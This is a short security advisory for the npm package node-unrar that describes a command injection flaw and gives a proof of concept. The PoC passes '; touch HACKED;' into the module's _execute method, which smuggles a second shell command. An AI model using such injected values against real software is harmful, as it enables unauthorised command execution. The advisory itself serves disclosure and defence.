node-unrar

vulnerability command injection
severity 3.8
language javascript
registry npm

Overview

The issue occurs because a user input is formatted inside a command that will be executed without any check.

Proof of Concept (Credit: Mik317)

  1. Create the following PoC file:
// poc.js
var Unrar = require("node-unrar");
var rar = new Unrar("/path/to/file.rar");

rar._execute([], "; touch HACKED;", function () {});
  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i node-unrar # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created